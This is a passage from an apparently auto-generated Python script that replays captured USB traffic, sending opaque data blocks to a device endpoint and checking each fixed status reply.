packet 213/214\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC6\\x39\\xC4\\xB4\\x1C\\x49\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x79\\x4B\\x8D\\x76\\x89\\xDF\\x4A\\x98\"\n b\"\\x98\\xBF\\x82\\x8C\\x9D\\xD6\\xC0\\x68\\x4F\\x21\\xBB\\x46\\x47\\x4E\\x01\\x8E\"\n b\"\\x05\\x63\\xAB\\xE9\\x3C\\x2E\\x17\\x99\\x17\\xDF\\xBF\\xAA\\xB8\\xCB\\x25\\xDE\"\n b\"\\x0C\\x1C\\xF9\\x0A\\x20\\x76\\x3E\\xD0\\xE5\\xC7\\x88\\x1D\\xAD\\x9E\\x2E\\xCD\"\n b\"\\x5E\\x86\\x4A\\x51\\xA0\\xC6\\x02\\x05\\x1A\\x55\\x6A\\x77\\xFF\\x19\\xA3\\x26\"\n b\"\\x26\\x5A\\x4E\\x82\\x45\\xF0\\x48\\x78\\x11\\xEA\\x17\\xC1\\x28\\x23\\x36\\x45\"\n b\"\\x76\\xC9\\x87\\x34\\xB0\\x80\\xE4\\xD1\\xFE\\xC7\\x91\\x0C\\x2E\\x6A\\xFD\\xBA\"\n b\"\\xAA\\x65\\xAF\\x37\\x91\\xFD\\x6A\\x09\\x0F\\x1A\\xBB\\x0F\\x8F\\xE4\\x27\\x82\"\n b\"\\xCB\\x49\\xF9\\x4C\\x82\\xDD\\x8F\\xF1\\x2F\\x53\\x8A\\x1B\\xDF\\x59\\xE0\\x0F\"\n b\"\\x54\\xE0\\xF2\\x96\\x2E\\xE6\\x01\\x1D\\x9A\\x79\\x1B\\x8E\\x24\\xAC\\xF0\\x50\"\n b\"\\xF9\\x77\\xEF\\x9C\\x2D\\xE8\\x3A\\xD5\\x53\\x8F\\x13\\x52\\xDF\\xC3\\x75\\xE3\"\n b\"\\x7A\\xA5\\xFB\\xF1\\x5C\\x23\\x46\\x34\\xBB\\xC4\\x04\\xB8\\xB8\\x3B\\x45\\x62\"\n b\"\\xCE\\x09\\x8B\\x32\\xCE\\xD0\\x2E\\xD2\\x9F\\xA4\\x4F\\xAB\\x5B\\x40\\x0B\\x75\"\n b\"\\xFF\\xEB\\x39\\x22\\x17\\x8E\\x15\\xF7\\xE9\\xA5\\x13\\xED\\x78\\x2E\\x1D\\xE5\"\n b\"\\x40\\x34\\x16\\xC0\\xF0\\xFE\\xDB\\x9F\\x77\\x92\\xBA\\x20\\x59\\xF9\\x92\\x78\"\n b\"\\x3E\\x58\\x16\\x4F\\xB1\\x59\\x62\\xDF\\xA9\\x7B\\x0E\\x2C\\xB4\\x65\\xC7\\xD6\"\n b\"\\x5F\\xAA\\xA9\\xB4\\xF9\\xA7\\x23\\xF1\\x5D\\x50\\xCC\\x98\")\n # Generated from packet 215/216\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 215/216\")\n # Generated from packet 217/218\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x30\\xAE\\x88\\x04\\x06\\x4D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x42\\xAC\\x4F\\xED\\x0D\\x8F\\x57\\x47\"\n b\"\\x0B\\xAF\\xCC\\x28\\x5F\\x29\\x69\\x87\\x52\\xAE\\x98\\xCF\\xC7\\x74\\x2E\\x7F\"\n b\"\\xDA\\x39\\x72\\x38\\xA3\\xE0\\xCC\\x73\\x5A\\x71\\xE7\\x18\\x32\\xA4\\x00\\xFE\"\n b\"\\xC3\\x2F\\x8C\\xE0\\xA7\\xC7\\x1C\\x7E\\x8F\\x1E\\xE2\\x02\\x89\\xF3\\x7F\\x6E\"\n b\"\\xFF\\xF7\\xB1\\x87\\x9F\\x62\\xDD\\x56\\x57\\x3A\\x72\\x02\\x20\\xFF\\x7E\\xA5\"\n b\"\\xD6\\xA5\\xD0\\x87\\x06\\x89\\x21\\x4F\\xD2\\xBA\\x36\\x21\\x68\\xFE\\x5B\\x6C\"\n b\"\\xE7\\xDB\\xB1\\x36\\xD4\\x38\\x9F\\x22\\xC2\\x43\\xC2\\xCE\\x65\\x10\\xE5\\x32\"\n b\"\\x93\\x12\\x61\\xD4\\xCD\\x33\\xF6\\x75\\xD2\\x8D\\xCA\\x0D\\x51\\xF5\\xC7\\xB1\"\n b\"\\x2F\\x5B\\xDF\\x0D\\x1A\\x48\\x12\\xF4\\xDE\\xAD\\x9C\\x7D\\x8F\\xE7\\x9A\\xD2\"\n b\"\\xF5\\x73\\x22\\x92\\x39\\xBB\\xFF\\x55\\xCD\\xC7\\xEA\\x66\\x2E\\xA3\\x86\\xAF\"\n b\"\\x20\\xA6\\xC1\\xC9\\x00\\x0D\\x11\\xAF\\xC1\\xB4\\xA4\\x4A\\xE9\\x2B\\x01\\xA7\"\n b\"\\x86\\x5E\\xCD\\xA6\\x6A\\x4D\\xDE\\x2D\\x3D\\x01\\x82\\x50\\x5F\\x8A\\xEF\\x15\"\n b\"\\xDE\\xE2\\xD2\\x14\\xED\\x32\\xAD\\xAE\\xF4\\x29\\x58\\xA5\\xC8\\x48\\xDA\\x9A\"\n b\"\\xC9\\xB8\\x7D\\xCB\\xD2\\x87\\x95\\x93\\xF8\\xFB\\xBD\\x9D\\x4B\\xDF\\x2A\\x9E\"\n b\"\\xF3\\x28\\xF1\\x36\\x90\\x99\\x84\\xF9\\x0A\\xAF\\xF6\\x3B\\xA0\\x6C\\xF9\\x0F\"\n b\"\\xCD\\x64\\xE3\\x11\\x59\\xC5\\x34\\xA7\\x31\\x56\\x5C\\xE3\\xE9\\xE6\\x52\\x90\"\n b\"\\xDB\\xCD\\xCC\\xA0\\xC0\\x66\\x2C\\x78\\xBA\\x49\\x3E\\xD8\")\n # Generated from packet 219/220\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 219/220\")\n # Generated from packet 221/222\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCB\\x96\\xAD\\xA1\\xB7\\x4D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x34\\x27\\xFF\\x3E\\x77\\x35\\xAC\"\n b\"\\xD7\\x0D\\x64\\x7D\\x71\\x7A\\xE8\\x8A\\x43\\x92\\x9F\\x1A\\x4C\\x98\\x5F\\xDA\"\n b\"\\x56\\xEA\\x6F\\xD3\\xF4\\x1C\\x39\\xAC\\x7A\\x61\\xAD\\x96\\xD2\\x58\\x07\\x5F\"\n b\"\\x18\\x24\\xB0\\xC1\\xDA\\x8E\\x7B\\x38\\xB5\\x87\\x8A\\x6D\\xBB\\xF6\\x19\\x8F\"\n b\"\\x1F\\x01\\x87\\xE2\\x7D\\xB8\\x1A\\x9A\\x2B\\xD4\\x2D\\xDD\\x65\\xA9\\x5D\\x36\"\n b\"\\xE9\\x59\\x5A\\x5D\\x77\\x2E\\x06\\x92\\xFF\\x2E\\x5C\\x49\\x0F\\xC2\\x14\\xDB\"\n b\"\\x4A\\x81\\x91\\x72\\xC9\\xF5\\x81\\x9C\\x80\\x4F\\x8C\\x5D\\xE3\\x55\\x5F\\x16\"\n b\"\\x05\\x28\\xE7\\x6A\\xEE\\x0B\\x38\\x20\\xEC\\x8C\\x99\\x56\\x0C\\x5C\\x2A\\xCD\"\n b\"\\x2D\\xB3\\xB9\\x85\\x5A\\x15\\x1E\\x67\\x84\\x75\\xC2\\xE5\\x55\\x8E\\x1D\\x19\"\n b\"\\xC2\\xD8\\xBD\\xBB\\xD7\\x94\\x04\\xDA\\x6F\\x95\\x5A\\xD4\\x7D\\xA7\\x6F\\x76\"\n b\"\\xA2\\x35\\x3B\\xCA\\x3E\\x86\\x3E\\xF3\\x1C\\x3A\\xF5\\x6A\\x81\\x70\\x62\\x9D\"\n b\"\\x15\\xA0\\x8A\\x22\\x6F\\xB7\\xCC\\xC0\\x2C\\xEF\\xBE\\x1F\\x9D\\xE6\\x92\\x7D\"\n b\"\\x56\\xB6\\x87\\x97\\xA4\\x8D\\x55\\x1A\\x76\\x1C\\xD8\\x5F\\xF7\\xF8\\xE2\\x62\"\n b\"\\xD6\\xD2\\x6D\\x78\\x92\\x79\\xC4\\x92\\x81\\x8F\\x20\\x59\\xE5\\x59\\x46\\xE7\"\n b\"\\xAD\\x11\\x5A\\x2B\\xC4\\x5E\\xB3\\x75\\x83\\xA9\\x73\\x31\\x9A\\xCB\\xA7\\xAE\"\n b\"\\xD6\\xF2\\x75\\x0C\\x15\\x58\\x0F\\x96\\xA9\\x40\\xC0\\x73\\x37\\x40\\x35\\x2E\"\n b\"\\xA5\\x31\\x4E\\xC3\\xF0\\xD7\\xA9\\x03\\x53\\xC3\\x6A\\x41\")\n # Generated from packet 223/224\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 223/224\")\n # Generated from packet 225/226\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6F\\x06\\x2D\\x52\\x47\\x15\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x36\\x47\\xB0\\x63\\x8B\\x2A\\x49\\x4F\"\n b\"\\x01\\xF8\\xEF\\x95\\x37\\x36\\xEE\\xA2\\xC4\\xF7\\x3E\\xBD\\x24\\xD4\\xB1\\x30\"\n b\"\\x10\\x2F\\xCA\\xE6\\xB0\\x9D\\xE5\\x7D\\x2B\\xFB\\x28\\xB5\\xA6\\xAE\\x4D\\xD7\"\n b\"\\xB9\\xB2\\x0B\\x55\\x5F\\x26\\x84\\xC9\\x3E\\x6B\\x4F\\x03\\x6A\\x17\\x8B\\x66\"\n b\"\\x84\\x29\\x93\\x64\\xFE\\x5C\\x8D\\xDE\\xC1\\x2A\\xFA\\xDD\\xE2\\xC1\\xC3\\xE7\"\n b\"\\x81\\xF5\\x09\\xC9\\xE9\\x87\\xC6\\x51\\x5A\\xB3\\x97\\x57\\xEC\\xAD\\xAE\\x62\"\n b\"\\x54\\xD5\\x9B\\xC7\\x95\\x98\\x16\\x9D\\xD1\\xB5\\xF2\\xA4\\x25\\x3A\\x3C\\xED\"\n b\"\\xA9\\x4A\\x7E\\xF0\\x36\\xCE\\x79\\x3D\\x3A\\x61\\x00\\xE0\\x8A\\x07\\xC0\\xA9\"\n b\"\\xDD\\x18\\x5B\\x66\\x62\\x59\\xB2\\x74\\xCC\\x02\\x62\\x03\\x12\\x74\\x43\\x94\"\n b\"\\x54\\x12\\x32\\xC2\\x0B\\x7C\\xD6\\xE9\\xCF\\x13\\x05\\x39\\x32\\x16\\x00\\xAB\"\n b\"\\xF5\\xE3\\xB6\\xEB\\x8E\\x87\\xF7\\x12\\xC6\\x24\\xDD\\xFC\\x0C\\x6C\\x09\\xD3\"\n b\"\\x17\\xA0\\x58\\xE5\\x9B\\x14\\x5E\\x65\\xCA\\x89\\x60\\xD8\\x3B\\x7E\\xF3\\x28\"\n b\"\\x9D\\x64\\x1E\\xEC\\x10\\xA1\\xE2\\xA5\\x5E\\xFF\\xC8\\xEB\\x27\\xCC\\x54\\x64\"\n b\"\\x78\\x9E\\x0D\\x3B\\x77\\x32\\x4C\\x93\\x6B\\xAC\\xD7\\xA7\\x33\\x5A\\x3B\\x4B\"\n b\"\\x7E\\x7D\\x52\\xDA\\xBF\\xF7\\xF3\\xF7\\x46\\x7F\\x7B\\xC4\\x18\\x79\\x74\\x5B\"\n b\"\\x86\\xD2\\x16\\x94\\x86\\x35\\x5A\\x46\\x10\\x89\\xD3\\xAA\\x37\\xA2\\x8D\\x44\"\n b\"\\x31\\x75\\xC0\\xE3\\x6F\\xE0\\xB5\\x2A\\x42\\x2F\\xBE\\xF7\")\n # Generated from packet 227/228\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 227/228\")\n # Generated from packet 229/230\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDC\\x6B\\x0D\\x4A\\xDE\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC2\\x9F\\x62\\x3F\\x52\\xE7\\xC2\\xE3\"\n b\"\\x33\\xB0\\x76\\x14\\x2F\\x61\\x98\\xF4\\x87\\x0C\\x01\\x71\\x6D\\x6A\\xD0\\xB0\"\n b\"\\xA6\\x7C\\xC2\\x24\\xC2\\x8F\\x1E\\x3B\\x19\\x55\\x4A\\xEF\\xB7\\x67\\xA4\\xBF\"\n b\"\\x05\\x29\\x23\\x94\\x86\\xD5\\xFC\\x34\\xEB\\xB2\\xAA\\x32\\x80\\xAF\\x8A\\x40\"\n b\"\\xF1\\x99\\xB3\\xE9\\x84\\x40\\x44\\x76\\x30\\xB2\\x85\\x99\\x9E\\x30\\x3A\\x9D\"\n b\"\\x43\\xF3\\x04\\xCE\\xA3\\x37\\x28\\x39\\xC4\\xF5\\xAC\\x08\\xD0\\x1F\\x3C\\x9B\"\n b\"\\x1C\\xF3\\xF4\\x19\\x94\\x89\\x82\\xF4\\x50\\xEC\\x78\\xE8\\x1E\\xE2\\x55\\x4E\"\n b\"\\xF5\\x94\\xA6\\x34\\xC4\\x8A\\x85\\x9F\\xFD\\xD9\\x6F\\x63\\x6D\\x50\\x54\\x19\"\n b\"\\x6F\\x7F\\xD2\\xA1\\x51\\xA8\\x9F\\xB2\\x17\\x4A\\xDA\\x4E\\x64\\x95\\xA9\\x43\"\n b\"\\xB4\\xE9\\xAC\\x7F\\xCD\\xAD\\xB0\\x9C\\xAA\\x50\\x17\\xD1\\xCC\\x65\\x05\\x11\"\n b\"\\xA2\\xB7\\xD2\\xD3\\xB2\\x2A\\x74\\xD0\\x9F\\x40\\xAC\\xF2\\xFB\\xF3\\x8C\\x8F\"\n b\"\\x6F\\xD5\\xDF\\x60\\x91\\xA1\\xB2\\xFD\\x33\\x2B\\x69\\x20\\x2B\\xC4\\x2F\\xD2\"\n b\"\\xDA\\xF4\\x75\\x33\\x9A\\x22\\xE3\\xF1\\xD8\\xBF\\x4F\\xF9\\xBA\\xF1\\x04\\x81\"\n b\"\\xDE\\x10\\x08\\x4C\\x99\\xCA\\x8D\\x25\\x90\\x31\\x0D\\xBA\\xA4\\xAF\\xC1\\xCF\"\n b\"\\xCC\\xFE\\x16\\xEF\\x32\\x5C\\x21\\x6F\\xF4\\xAE\\xE6\\x38\\x86\\xD6\\xDF\\xDB\"\n b\"\\x64\\xFB\\x35\\x46\\x71\\xC5\\x13\\x62\\x52\\x18\\x42\\x30\\xAB\\xBD\\x47\\xC3\"\n b\"\\x87\\x19\\xA2\\x1C\\x59\\xF9\\x16\\x4A\\x7F\\x7D\\xF7\\x4C\")\n # Generated from packet 231/232\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 231/232\")\n # Generated from packet 233/234\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5F\\xD9\\x1B\\xB2\\xB3\\x39\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x71\\x19\\x41\\xA1\\x41\\x02\\x84\\x89\"\n b\"\\x6A\\x7E\\x71\\xC7\\xED\\x1A\\x6C\\xF9\\xBA\\x03\\x3F\\x44\\x23\\x55\\xD4\\x07\"\n b\"\\x0A\\x5E\\x3A\\x4D\\xE4\\x58\\x25\\xD0\\x60\\xC8\\xE5\\xF6\\x11\\x50\\x6C\\x94\"\n b\"\\x72\\xA7\\x81\\x50\\xFF\\xCF\\x30\\x8D\\xB2\\xDB\\xAC\\x3A\\xDA\\x97\\x99\\xB6\"\n b\"\\xE0\\xAF\\x13\\x28\\x3E\\x8B\\x3E\\x37\\x95\\x9F\\xCA\\xD2\\x36\\xE0\\x59\\x6B\"\n b\"\\x04\\x64\\x77\\x31\\xEE\\xC2\\xF7\\xF7\\xCF\\x04\\x19\\x74\\x62\\x61\\xC2\\x90\"\n b\"\\x1B\\x1B\\x89\\x28\\x71\\x55\\x74\\x6E\\x6A\\x50\\xF5\\x41\\x7D\\x5F\\xF4\\x7B\"\n b\"\\x3A\\xF8\\xEE\\xCD\\xDD\\xDD\\xCE\\xB2\\xF6\\x23\\x68\\xD6\\x5E\\xAB\\x26\\xCA\"\n b\"\\xDA\\x45\\xAC\\x0B\\xB8\\x3E\\xEC\\x52\\xAD\\x8F\\x3F\\xDB\\x83\\xE5\\x83\\x8B\"\n b\"\\xDF\\x49\\x9B\\x9F\\x4C\\xFD\\xED\\x25\\x2B\\xA7\\x64\\x68\\x6D\\x2B\\xBA\\x9E\"\n b\"\\x95\\x98\\xF3\\xB4\\x7B\\x0A\\xBF\\xDC\\x9A\\xF1\\xF9\\x38\\xD4\\x4F\\xF8\\x1E\"\n b\"\\x07\\xD3\\x5B\\xE1\\x29\\x2F\\x17\\x93\\x2B\\xAB\\x05\\xC4\\x31\\x89\\x81\\x74\"\n b\"\\xFE\\x55\\x75\\x0F\\xF4\\x83\\x7E\\xAB\\x33\\xA7\\x48\\xF6\\xD8\\x85\\xBC\\x8F\"\n b\"\\xCB\\x25\\x2D\\xE8\\x9D\\xE6\\x4E\\x0B\\x89\\xE9\\x38\\xC2\\xFA\\x9F\\xB1\\x6C\"\n b\"\\xD1\\xB4\\x67\\x69\\x7C\\xC4\\xFD\\x4A\\xD6\\xC1\\xEA\\x5C\\x1E\\x7E\\x07\\x93\"\n b\"\\x7F\\xA5\\x38\\xC6\\x45\\xFD\\xF9\\xCB\\x06\\xB9\\x8B\\x77\\x74\\xA6\\xF0\\xDB\"\n b\"\\xD5\\x82\\x3F\\xB2\\x89\\xB6\\xE3\\xCA\\x1A\\xC2\\x45\\xCA\")\n # Generated from packet 235/236\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 235/236\")\n # Generated from packet 237/238\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF8\\x26\\x5A\\x9E\\x12\\x2D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB1\\x53\\x3C\\x69\\x08\\xFD\\xF5\\xCE\"\n b\"\\x73\\x9F\\x4E\\xF5\\xE6\\xCF\\xA4\\x80\\xB9\\x6F\\x87\\x0B\\x2D\\x85\\x1F\\x0B\"\n b\"\\x87\\x83\\x3E\\xF6\\x0C\\x4A\\xA8\\x18\\xE0\\xE2\\xD0\\x29\\xB6\\x77\\x33\\xB7\"\n b\"\\x99\\x42\\x89\\xEE\\xB1\\x68\\xB6\\x23\\xA0\\xE8\\x43\\xCF\\x31\\x63\\x25\\x10\"\n b\"\\xF9\\xE1\\xDE\\x07\\x83\\x2B\\xFB\\x56\\xB8\\x54\\x3C\\xB7\\x47\\x16\\x94\\xD6\"\n b\"\\x33\\x8B\\x5D\\x46\\x1A\\xF3\\xBD\\xEE\\x7F\\x27\\xB9\\xFE\\xCE\\xC8\\x34\\xA3\"\n b\"\\xD4\\xD9\\x04\\x85\\xDC\\x58\\xC2\\x36\\x20\\x67\\x7F\\x8A\\x0D\\x84\\x2E\\x9D\"\n b\"\\xD0\\x19\\x2C\\xD8\\xFE\\xA5\\xD3\\x87\\x4D\\xD3\\x4E\\x16\\xC2\\xFF\\xF6\\x1B\"\n b\"\\x68\\xA2\\x0E\\x83\\xC0\\xFE\\x53\\xDF\\xE5\\x3D\\x79\\xC9\\xB7\\x3E\\x80\\xEC\"\n b\"\\xED\\xD2\\xED\\xB3\\x22\\xEB\\x38\\xD2\\xD7\\xA5\\x38\\xCF\\x60\\x03\\x18\\x29\"\n b\"\\x07\\x4F\\x5F\\xC0\\xFD\\xA8\\x80\\x1A\\x0D\\x4F\\x3F\\xCD\\xBB\\xB5\\x55\\x8A\"\n b\"\\x5A\\x3F\\xC2\\x23\\x43\\xDE\\x65\\xB5\\xE2\\xBF\\x8F\\x16\\x8B\\xC0\\x29\\xA8\"\n b\"\\xCB\\xC3\\xE6\\xB4\\xA2\\x9B\\x64\\xE7\\x7C\\x2F\\x20\\xC8\\x7A\\xD1\\xD2\\xA0\"\n b\"\\x4F\\x4E\\x1D\\xE9\\xC0\\xAF\\xC1\\x7D\\xFF\\x1E\\xBB\\x1B\\xE8\\x76\\xCE\\x74\"\n b\"\\x4A\\x55\\x41\\xCA\\x6F\\x48\\xD5\\xE8\\xFD\\x87\\x02\\x49\\x9E\\x57\\xEE\\x73\"\n b\"\\x97\\xFA\\xEB\\xC6\\x01\\xCE\\x2D\\x72\\x8B\\x79\\x18\\xB8\\x9A\\x4E\\xDE\\xFB\"\n b\"\\x5A\\x48\\x0F\\xAC\\xA9\\xEE\\xB1\\xA9\\x86\\x44\\x9B\\x96\")\n # Generated from packet 239/240\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 239/240\")\n # Generated from packet 241/242\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3F\\x48\\x0E\\xA0\\x4D\\x07\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x81\\x42\\xEC\\xE4\\x85\\xC7\\xCE\\xEC\"\n b\"\\xC7\\x80\\xD4\\x62\\x08\\x2C\\xC4\\x10\\xA2\\x1A\\x0B\\x98\\x5E\\xEB\\xE7\\xF8\"\n b\"\\x08\\x41\\x5D\\xC2\\x3E\\xA0\\x2D\\x71\\x6C\\x1A\\xB9\\xCE\\xF3\\xD4\\xEE\\xCB\"\n b\"\\x8F\\xE2\\x38\\xA5\\xC7\\x7D\\x77\\xB7\\xD0\\xA4\\x4D\\xEF\\x47\\x33\\x92\\x69\"\n b\"\\x61\\x31\\x49\\x83\\xB5\\x15\\x4C\\x8D\\x10\\xF6\\xE3\\x51\\x94\\xA7\\xEB\\x54\"\n b\"\\x5D\\x7C\\xF9\\x23\\xD1\\x67\\xA1\\x4F\\x24\\x2B\\x5E\\x12\\x7E\\xF9\\xB4\\x74\"\n b\"\\x5A\\x47\\x05\\x9E\\xDF\\xCA\\x6E\\xB9\\x37\\xEF\\xFF\\x02\\x91\\x0C\\x6F\\x63\"\n b\"\\x05\\x15\\x16\\x27\\x19\\x7C\\x75\\xDA\\x3C\\x35\\x17\\xEF\\xAC\\x7B\\x79\\x3D\"\n b\"\\x7B\\x33\\x6D\\xA0\\x9E\\x38\\xB9\\x96\\x19\\xD8\\xBF\\xE5\\xC7\\xD7\\x95\\x9F\"\n b\"\\xE1\\xE0\\xCE\\x0F\\x3B\\x17\\xE8\\xA1\\xC0\\x4A\\xF0\\x5E\\x27\\x32\\x05\\x7E\"\n b\"\\xDC\\xD3\\x41\\xA1\\x4A\\x11\\x03\\xBF\\xF6\\x19\\xC0\\x7B\\x6D\\x09\\xF7\\x22\"\n b\"\\x07\\x66\\x42\\x40\\x24\\x48\\x4B\\xAB\\xA4\\x52\\x7B\\x25\\x68\\x2F\\x17\\x78\"\n b\"\\xBF\\x0F\\xE9\\x5B\\x98\\x8F\\x8E\\x24\\x8E\\xB0\\x0E\\xEC\\xD1\\xFB\\xBF\\x71\"\n b\"\\x9C\\x2B\\xAA\\x5F\\x1B\\x82\\x85\\x92\\xEB\\xD0\\x70\\x37\\xEE\\xAE\\x5C\\x83\"\n b\"\\xAA\\xFC\\x8E\\x73\\xBA\\xAA\\xA4\\xF7\\x5E\\x21\\x91\\xB2\\x4C\\x01\\x2B\\x23\"\n b\"\\xDE\\x8B\\xE4\\x78\\x30\\xC6\\x34\\x23\\x76\\x2C\\x4E\\x40\\x1C\\x26\\xC5\\xFA\"\n b\"\\x20\\x16\\x13\\xD2\\x46\\x5C\\x56\\x90\\xB5\\x46\\x8D\\xD2\")\n # Generated from packet 243/244\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 243/244\")\n # Generated from packet 245/246\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE6\\x53\\x7B\\xCE\\xC8\\x4D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3E\\xC7\\x8B\\xD9\\x71\\xC3\\xB0\\x23\"\n b\"\\x12\\x6E\\xDD\\x37\\xC2\\xD7\\x3D\\xE6\\x8C\\x98\\x7B\\x12\\x90\\x50\\x9D\\x4E\"\n b\"\\x1C\\xFC\\xFA\\x0F\\x3D\\x00\\x18\\x72\\xDA\\x1F\\x58\\x4A\\x84\\x10\\x07\\x0C\"\n b\"\\x0A\\x15\\x43\\x97\\xD8\\xDD\\xCF\\x89\\x16\\x46\\xFD\\xBA\\x29\\x9C\\xCC\\x4A\"\n b\"\\x08\\x1C\\x5C\\xF6\\x5C\\x2E\\x02\\x20\\xF6\\x8D\\x97\\xA4\\x6E\\x47\\xF6\\xC2\"\n b\"\\x64\\xED\\x00\\x3E\\x0D\\x11\\x11\\x43\\x91\\x66\\x8D\\xF7\\xB8\\x6A\\xF7\\x05\"\n b\"\\x32\\xD6\\x42\\xED\\x06\\xB2\\xE2\\xD8\\x9C\\x51\\xBB\\x44\\xD9\\x05\\x03\\x86\"\n b\"\\x9F\\xEB\\x37\\x06\\x3D\\x3E\\x8A\\x4D\\xE8\\xEB\\x2B\\xFE\\xA2\\x47\\xCB\\x9E\"\n b\"\\xFC\\x3C\\x5E\\x9E\\x01\\x4B\\x18\\x39\\xAD\\x06\\xEB\\xBC\\x76\\x0C\\x2B\\xC8\"\n b\"\\x78\\xC2\\x60\\xD8\\x1A\\x62\\x4C\\xC5\\x6A\\x96\\x37\\xEB\\x35\\x3B\\x37\\x72\"\n b\"\\x3C\\xCE\\x1A\\xBE\\x45\\xA7\\x60\\x52\\xB2\\x2E\\x36\\x4D\\x94\\x9B\\xFF\\x4D\"\n b\"\\xBE\\x15\\xF5\\x90\\x9D\\x7E\\xEF\\x39\\x81\\x77\\x91\\x5C\\xD4\\xBA\\xB8\\x9A\"\n b\"\\xE6\\x49\\x95\\x1A\\x84\\xF9\\xE8\\xF1\\x77\\x7C\\xE0\\x26\\x04\\x31\\xAA\\x66\"\n b\"\\x44\\x62\\xE9\\x12\\x66\\xB4\\x9B\\x40\\x34\\x97\\x13\\x12\\x26\\x5D\\xD4\\xA7\"\n b\"\\x0A\\xE0\\x06\\xD6\\x44\\xE3\\xD4\\x21\\xB5\\x3A\\x09\\xC6\\xB8\\x24\\xA5\\x66\"\n b\"\\xEF\\xA6\\xDC\\x74\\x3A\\x9C\\xF2\\x3E\\xD9\\x51\\x6D\\xAB\\xD1\\x76\\x48\\x47\"\n b\"\\x17\\xB1\\xFC\\xC0\\xA4\\x07\\xB4\\x9C\\xA9\\x1D\\x7D\\xD4\")\n # Generated from packet 247/248\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 247/248\")\n # Generated from packet 249/250\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x11\\xD3\\x72\\xC3\\x43\\x64\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA2\\x55\\xD1\\xC7\\xC0\\x42\\x5C\\x04\"\n b\"\\xFE\\x32\\x4C\\x0E\\x88\\xCE\\x24\\x3B\\xBF\\xD5\\x12\\x8E\\xEA\\x82\\x61\\xD4\"\n b\"\\x6F\\xA4\\xB6\\x79\\x87\\xB5\\x98\\x39\\xF9\\xD0\\xCD\\x03\\x87\\x7E\\xCB\\x0C\"\n b\"\\xFD\\x96\\x81\\x97\\x80\\x7D\\x6E\\xD5\\x5F\\xC2\\x2F\\x3C\\xD9\\x62\\xA8\\x3C\"\n b\"\\x1E\\x22\\x0A\\xC6\\xB7\\x84\\x94\\xDB\\x70\\x62\\xC2\\x37\\xD7\\x03\\xF7\\x94\"\n b\"\\xF7\\x50\\x1B\\x02\\xC1\\xB1\\x2D\\x54\\x3C\\xE9\\x91\\x6D\\x8E\\xB6\\xBB\\xBC\"\n b\"\\xC9\\xF4\\x3F\\x3D\\x03\\xC9\\x20\\x58\\x2A\\x9D\\x0B\\x82\\x21\\x64\\xD2\\xEC\"\n b\"\\x17\\x3F\\xFE\\x0C\\x30\\x9A\\x44\\x7C\\x40\\x60\\xF3\\xC3\\x49\\xC0\\xA3\\xC0\"\n b\"\\xDD\\x36\\x3A\\x88\\x64\\x57\\xFE\\x6D\\x43\\x33\\x3C\\x6A\\xA7\\x0C\\x68\\xFE\"\n b\"\\x33\\xAD\\x00\\xFB\\xA3\\x92\\xA5\\x53\\x7A\\xEB\\x9B\\xAE\\x23\\xCB\\x63\\x35\"\n b\"\\xE1\\xE0\\x2A\\x65\\xDB\\xF1\\x98\\x72\\xA9\\x12\\x8C\\xBA\\xAE\\xFC\\xC5\\x50\"\n b\"\\x0A\\xE7\\xCE\\xD0\\xB0\\xBC\\xCE\\x29\\x8E\\xB1\\x80\\x14\\x73\\x46\\x1F\\x96\"\n 